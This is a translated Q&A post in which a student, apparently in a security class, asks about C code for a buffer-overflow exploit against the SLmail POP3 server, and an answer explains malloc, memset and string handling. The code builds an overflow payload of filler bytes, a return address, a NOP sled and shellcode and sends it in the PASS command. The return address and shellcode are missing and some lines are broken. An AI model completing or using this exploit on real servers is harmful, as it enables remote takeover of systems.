使用SLmail 643并了解我如何使用它

时间:2015-04-26 17:13:30

标签: c exploit

我正在上课,它要求我操纵这个c代码以适应我的具体情况。我理解其中的大部分但是在理解下面使用的几个c特定变量时遇到了一些麻烦。注意我已经删除了部分代码但是保留了有问题的区域。

此外,我不是要求你做我的作业,我只是需要一些帮助来理解某些方面,所以我可以自己做...有用的推动,或暴力推动。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>


#define retadd "\x\x\x\x" */I removed the memory return*/
#define port 110

char buf[] = "Stuff will be put here"

struct sockaddr_in plm,lar,target;



int conn(char *ip)
{
int sockfd;
plm.sin_family = AF_INET;
plm.sin_port = htons(port);
plm.sin_addr.s_addr = inet_addr(ip);
bzero(&(plm.sin_zero),8);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr *)&plm,sizeof(struct sockaddr))) < 0)
{
 perror("[-] connect error!");
 exit(0);
 }
 printf("[*] Connected to: %s.\n",ip);
 return sockfd;
}

int main(int argc, char *argv[])

{

int xs;



char out[1024];

char *buffer = malloc(2958);

memset(buffer, 0x00, 2958);



char *off = malloc(2606);

memset(off, 0x00, 2606);

memset(off, 0x41, 2605);



char *nop = malloc(16);

memset(nop, 0x00, 8);

memset(nop, 0x90, 16);



strcat(buffer, off);

strcat(buffer, retadd);

strcat(buffer, nop);

strcat(buffer, shellcode);



printf("[+] SLMAIL Connection \n");

xs = conn("192.168.31.29");

read(xs, out, 1024);

printf("[*] %s", out);

write(xs,"USER username\r\n", 15);

read(xs, out, 1024);

printf("[*] %s", out);

write(xs,"PASS ",5);

write(xs,buffer,strlen(buffer));

printf("insert len: %d bytes\n",strlen(insert));

printf("Buffer len: %d bytes\n",strlen(buffer));

write(xs,"\r\n",4);

close(xs);  

}

malloc(2958)设置是什么?这是缓冲区的总大小分配吗? 还有什么是c?

中的memset变量
char *buffer = malloc(2958);

memset(buffer, 0x00, 2958);

在malloc(2606)下,这是在内存中注册特定点所需的字节大小,为什么它对于十六进制的&#39; A&lt; 265&lt; 260&gt;来减少1?

char *off = malloc(2606);

memset(off, 0x00, 2606);

memset(off, 0x41, 2605);

我再次站起来,这将向缓冲区添加7 x90s,但是malloc和0x00的重要性是什么?

char *nop = malloc(8);

memset(nop, 0x00, 8);

memset(nop, 0x90, 7);

谢谢。

1 个答案:

答案 0 :(得分:0)

快速查看手册页会显示malloc保留参数中声明的内存字节数并返回指向该内存的指针,memset填充一系列内存传递的(字节)值。

char *nop = malloc(8);      // allocate 8 bytes of memory
memset(nop, 0x00, 8);       // fill those 8 bytes with 0x00
memset(nop, 0x90, 7);       // fill the first 7 bytes with 0x70

这个的一个原因可能是首先进行例行初始化,然后进行第二次初始化以生成以空字符结尾的字符串。请注意,malloc不初始化内存,分配的内存处于未定义状态。

我看不到它 - callocmalloc相同,但也用0填充已分配的内存。

无论您使用malloc还是calloc还是realloc,您都应该养成一直检查结果的习惯。

char *nop = malloc(8);
if (nop == NULL) {  ... /* failure code */ }

另一个小点,四个连续strcat(buffer,...)语句中的第一个只能起作用,因为缓冲区已初始化。这是不好的做法:第一个strcat会更好strcpy

虽然我在这里(这需要终止;来编译)

char buf[] = "Stuff will be put here"

只会保留您的消息长度所保留的字节数:22,因为它。

最后,那些char*缓冲区为main()分配了内存 - 内存应该在程序结束时通过调用

释放
free(buffer);
free(nop);